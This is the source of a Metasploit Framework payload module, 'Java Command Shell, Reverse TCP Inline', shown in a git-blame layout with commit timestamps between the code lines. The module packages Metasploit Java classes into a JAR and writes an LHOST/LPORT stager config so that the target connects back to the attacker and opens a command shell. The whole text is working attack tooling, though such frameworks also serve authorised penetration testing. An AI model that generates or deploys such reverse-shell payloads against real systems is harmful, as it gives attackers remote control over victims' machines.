2011-08-19 16:31:19 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-08-19 16:31:19 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2023-09-27 11:20:17 +01:00
|
|
|
CachedSize = 7497
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2011-08-19 16:31:19 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Payload::Java
|
|
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
2025-04-20 02:57:34 +10:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
merge_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
|
|
|
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
|
|
|
|
'Author' => ['mihi', 'egypt'],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => ['java'],
|
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
|
)
|
|
|
|
|
)
|
2011-08-19 16:31:19 +00:00
|
|
|
end
|
|
|
|
|
|
2025-04-20 02:57:34 +10:00
|
|
|
def generate_jar(opts = {})
|
2011-08-19 16:31:19 +00:00
|
|
|
jar = Rex::Zip::Jar.new
|
2025-04-20 02:57:34 +10:00
|
|
|
jar.add_sub('metasploit') if opts[:random]
|
2016-12-06 11:11:04 +10:00
|
|
|
class_files.each do |path|
|
2011-08-19 16:31:19 +00:00
|
|
|
1.upto(path.length - 1) do |idx|
|
2025-04-20 02:57:34 +10:00
|
|
|
full = path[0, idx].join('/') + '/'
|
|
|
|
|
if !jar.entries.map(&:name).include?(full)
|
2011-08-19 16:31:19 +00:00
|
|
|
jar.add_file(full, '')
|
|
|
|
|
end
|
|
|
|
|
end
|
2015-04-28 14:05:34 -05:00
|
|
|
data = MetasploitPayloads.read('java', path)
|
2025-04-20 02:57:34 +10:00
|
|
|
jar.add_file(path.join('/'), data)
|
2011-08-19 16:31:19 +00:00
|
|
|
end
|
2025-04-20 02:57:34 +10:00
|
|
|
jar.build_manifest(main_class: 'metasploit.Payload')
|
|
|
|
|
jar.add_file('metasploit.dat', stager_config(opts))
|
2011-08-19 16:31:19 +00:00
|
|
|
|
|
|
|
|
jar
|
|
|
|
|
end
|
|
|
|
|
|
2025-04-20 02:57:34 +10:00
|
|
|
def stager_config(opts = {})
|
2016-12-06 11:11:04 +10:00
|
|
|
ds = opts[:datastore] || datastore
|
2025-04-20 02:57:34 +10:00
|
|
|
c = ''
|
|
|
|
|
c << "LHOST=#{ds['LHOST']}\n" if ds['LHOST']
|
|
|
|
|
c << "LPORT=#{ds['LPORT']}\n" if ds['LPORT']
|
2011-08-19 16:31:19 +00:00
|
|
|
# Magical, means use stdin/stdout. Used for debugging
|
2025-04-20 02:57:34 +10:00
|
|
|
# c << "LPORT=0\n"
|
2011-08-19 16:31:19 +00:00
|
|
|
c << "EmbeddedStage=Shell\n"
|
|
|
|
|
|
|
|
|
|
c
|
|
|
|
|
end
|
|
|
|
|
|
2016-12-06 11:11:04 +10:00
|
|
|
def class_files
|
|
|
|
|
[
|
|
|
|
|
['metasploit', 'Payload.class'],
|
|
|
|
|
['javapayload', 'stage', 'Stage.class'],
|
|
|
|
|
['javapayload', 'stage', 'StreamForwarder.class'],
|
|
|
|
|
['javapayload', 'stage', 'Shell.class'],
|
|
|
|
|
]
|
|
|
|
|
end
|
2011-08-19 16:31:19 +00:00
|
|
|
end
|